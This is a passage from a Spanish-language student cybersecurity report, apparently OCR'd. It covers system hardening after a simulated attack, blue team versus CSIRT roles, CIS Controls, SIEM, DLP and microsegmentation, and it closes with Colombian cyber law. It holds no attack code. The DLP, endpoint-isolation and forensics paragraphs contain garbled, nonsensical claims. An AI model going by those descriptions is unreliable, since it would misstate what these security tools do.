comunicacion claro y eficiente, y también detallar lo mejor posible y sencillo el incidente,
esto porque no todo el mundo conoce la terminologia usada, entonces para los informes
gerenciales entre mas conciso y claro sea mucho mejor.

1.

Para la segunda pregunta primero debemos saber que es la palabra hardenizacién: Es
el proceso de mejorar la postura de seguridad de un sistema o red mediante la
implementacion de una serie de medidas proactivas para reducir las vulnerabilidades y
mitigar los riesgos potenciales. Esto incluye configurar sistemas, aplicaciones e
infraestructura de acuerdo con las mejores practicas de seguridad, como deshabilitar
servicios innecesarios, aplicar mecanismos de autenticacion sélidos, aplicar parches y
actualizaciones periodicamente y configurar firewalls y sistemas de deteccion de

intrusiones. El objetivo es minimizar la superficie de ataque y fortalecer las defensas

50



51

contra las amenazas cibernéticas, reduciendo asi la probabilidad de ataques exitosos y
aumentando la resiliencia general ante violaciones de seguridad y acceso no autorizado.
Una vez sabiendo esto que podriamos proponer para que no se repita el ataque de la
fase 3:

Activacion del firewall: Lo primero que todo es la activacion del firewall, ese fue el
principal fallo de seguridad que hubo en este ataque, hay que establecer permisos de
red para evitar que se puedan apagar por los empleados, en dado caso de que se quiera
robar informacion o lo haga por error.

Actualizacion del antivirus y del sistema operativo: Considero yo que todas las pcC’s
deberian estar regentadas por un departamento de seguridad, en donde se tenga acceso
a las actualizaciones y estas se puedan realizar y controlar por personas capacitadas, e
ir aplicando parches de seguridad al unisond.

Desactivar el acceso remoto: En caso de que no sea necesario se podria desactivar el
acceso remoto.

Blogueo de puertos que no se usen para las tareas, la mayoria de empresas y de areas
Unicamente trabajan con aplicaciones office, es por eso que muchos puertos no se van
a usar, y para evitar problemas de fuga y otros, mejor deshabilitar los puertos que no se
usaran.

Capacitacion de los empleados: Asegurarse de que todos los empleados y clientes

reciban capacitacion periodica sobre las ultimas amenazas y desafios. Después de todo,
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segun IBM, el 95% de las violaciones de seguridad se deben a errores humanos?!®.
Fortalecer el entorno también significa endurecer a las personas que utilizan ese entorno.
2.
Yo considero que la principal diferencia entre el blue team y el Equipo de Respuesta a
Incidentes de Seguridad Informatica también conocido como CSIRT, es que el blue team
es principalmente proactivo con eso digo que su objetivo es prevenir los ataques y
mantener segura a la organizacion antes de que ocurra un incidente, mientras que el
CSIRT es reactivo y su tarea es intervenir cuando ya ha ocurrido un incidente, ayudando
a analizar y remediar el problema.
Como ejemplo, llega un correo pishing a un empleado: El blue team se deberia encargar
de que tales correos no lleguen o en caso de que llegue se detecte rapidamente y en
base a los trabajos ya realizados como capacitaciones, politicas de seguridad y filtros,
este no se abra.
El CSIRT se encarga cuando el empleado ya abrié el correo y el archivo malicioso, de
investigar el incidente, limitar los dafios y coordinar la recuperacién del sistema?®®.
3.
El CIS es una organizacion sin fines de lucro, dedicada a la mejora de la seguridad
cibernética, este nos proporciona recursos y herramientas para asi ayudar a las personas

y organizaciones a protegerse contra las amenazas cibernéticas.

14 Campbell, A. (s/f). El papel del error humano en el éxito de las violaciones de la ciberseguridad.
Usecure.io. Recuperado el 24 de noviembre de 2024, de https://blog.usecure.io/es/the-role-of-human-
error-in-successful-cyber-security-breaches

15 Computer security incident response team (CSIRT) - glossary. (s/f). Nist.gov. Recuperado el 3 de
diciembre de 2024, de https://csrc.nist.gov/glossary/term/computer_security_incident_response_team
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Con respecto a la pregunta yo usaria las herramientas CIS Controls esto porque contiene
un conjunto de mejores practicas de seguridad cibernética y pueden ayudar a prevenir
todo tipo de ataques, se usaria mas que todo para evaluaciones de vulnerabilidades,
como también monitoreo y analisis de redes.
4.

La definicién de un sistema SIEM es un conjunto que incluye software y hardware que
permite a las empresas mantener un seguimiento de la seguridad dentro de su red. A la
hora de hacerlo, los sistemas SIEM pueden revisar logs de varios sistemas y emitir
alertas en caso de que alguna actividad sea sospechosa. Los sistemas SIEM
generalmente son un elemento mas que contribuye a los esfuerzos generales de
seguridad de la firma y deberian permitir un descubrimiento y respuesta a la amenaza
con rapidez. Los sistemas SIEM también permiten monitorear el estado de normas de

seguridad?®.

Es una metodologia que sirve para, en tiempo real, integrar la informacién desde
diferentes fuentes por parte de un responsable, este ayuda a los encargados de
seguridad a saber no solo qué amenazas existen sino también utilizar informacion que
es relevante de diversas fuentes, para resolver las amenazas de forma rapida. SIEM
normalmente tiene componentes tanto de software como hardware que pueden obtener
y evaluar datos de seguridad de la red, los puntos de acceso, aplicaciones y los usuarios.
La mayoria de estos ponen a disposicion reportes sobre el estado general de seguridad

de la organizacion desde un dashboard y a la vez ayudan a los responsables a actuar

16 ¢Qué es SIEM? (sff). Microsoft.com. Recuperado el 3 de diciembre de 2024, de
https://www.microsoft.com/es-es/security/business/security-101/what-is-siem
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rapidamente ante la amenaza. SIEM es parte de la seguridad digital comandada por un
sistema.

5.
Sistemas de Prevencion de Pérdida de Pérdida de Datos (DLP), el término implica en
realidad una proteccion que impide la transferencia del contenido a sitios no permitidos
y con alto nivel de encriptado. El término DLP se refiere a la tecnologia que se encarga
de monitorear el flujo de informacion confidencial dentro y fuera de la organizacion. DLP
utiliza tecnologia de prevencién del outflow y que a su vez presenta software que traduce
emociones por medio de texto y ofrece gran ciberseguridad en forma e IT. Las
herramientas son una lluvia de ideas tecnolégicas para el mejoramiento de seguridad,
asi como la proteccioén de la propiedad intelectual de la empresa y de las industrias.
Sistemas de Aislamiento de Endpoints. Estos sistemas son similares en términos de su
objetivo, que es proporcionar proteccién y garantizar que siempre haya entornos seguros
en los que se puedan ejecutar aplicaciones de alto riesgo 0 se permite el uso de
dispositivos infectados. Estos dispositivos poseen una caracteristica que asegura que no
se propagan a otras partes de la red, y por lo generalmente son muy eficaces para ayudar
contra amenazas avanzadas.
Herramientas Analisis Forense del Tiempo: La ultima tecnologia relacionada con la
proteccién contra ataques internos proporciona un componente de software que le
permite al usuario recopilar pruebas mediante analisis digital que muestra como se
convierte en un sistema que sirve como una linea de tiempo de redes atacadas e

identifica las diversas tacticas destructivas de manera industrial.
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Herramientas de Microsegmentacion: En lugar de tener una red grande y plana, con este
método se pueden crear segmentos mas pequefios y aislados para diferentes
aplicaciones y datos. Si un atacante logra comprometer un segmento, su capacidad para
moverse lateralmente y acceder a otros recursos se ve significativamente limitada. Esta
tecnologia es ideal para organizaciones con entornos complejos y una gran cantidad de

datos sensibles.
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3 CONCLUSIONES.
Se destaca la importancia de comprender las leyes colombianas de ciberseguridad,
como la Ley 1273 de 2009 y la Ley 1581 de 2012, que sirven para proteger a los
ciudadanos contra los delitos cibernéticos y garantizar el manejo responsable de los

datos personales.

Enfatiza las funciones criticas de los equipos rojo (seguridad ofensiva) y los equipos
azules (seguridad defensiva) en las practicas de ciberseguridad, subrayando sus

esfuerzos de colaboracion para mejorar la seguridad organizacional.

Se describe un enfoque estructurado para las pruebas de penetracion, detallando las
fases desde el reconocimiento hasta la presentacién de informes, que son esenciales

para identificar y mitigar las vulnerabilidades dentro de los sistemas.

Se considera la necesidad de adherirse a estandares éticos al realizar evaluaciones de
ciberseguridad, garantizando que las acciones tomadas por los equipos rojo y azul se

alineen con los requisitos legales y la integridad profesional.

Se concluye con la necesidad de que las organizaciones implementen medidas de
seguridad integrales basadas en los hallazgos de las pruebas de penetracion, incluidas
actualizaciones periédicas de los protocolos de seguridad y capacitacion continua para

el personal involucrado en los esfuerzos de ciberseguridad.
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